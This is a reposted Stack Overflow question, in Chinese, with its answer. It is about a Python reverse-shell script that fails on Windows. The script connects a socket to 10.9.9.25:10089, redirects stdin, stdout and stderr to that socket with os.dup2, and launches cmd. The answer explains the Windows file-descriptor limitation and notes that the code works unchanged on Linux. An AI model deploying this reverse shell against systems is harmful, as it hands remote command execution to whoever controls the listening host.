gpt4 book ai didi

python - 当我在 Windows 上使用 os.dup2() 时,出现错误 : OSError: [Errno 9] Bad file descriptor

转载 作者:行者123 更新时间:2023-11-28 21:48:52 26 4
gpt4 key购买 nike

我想在我的服务器上获取我的 windows shell,我正在使用以下代码。

import socket,os,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(['cmd','/u']);

我遇到了错误

OSError: [Errno 9] Bad file descriptor.

最佳答案

如果您阅读过有关 socket.fileno() 的文档,您就会知道这在 Windows 中不起作用,引用自 Python Documentation :

socket.fileno()

Return the socket’s file descriptor (a small integer). This is useful with select.select().

Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unixdoes not have this limitation.

注意:

我已经在 Ubuntu(Linux 系统)中尝试了您的代码,它在没有任何 tweeking 的情况下运行良好。

关于python - 当我在 Windows 上使用 os.dup2() 时,出现错误 : OSError: [Errno 9] Bad file descriptor,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34557198/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com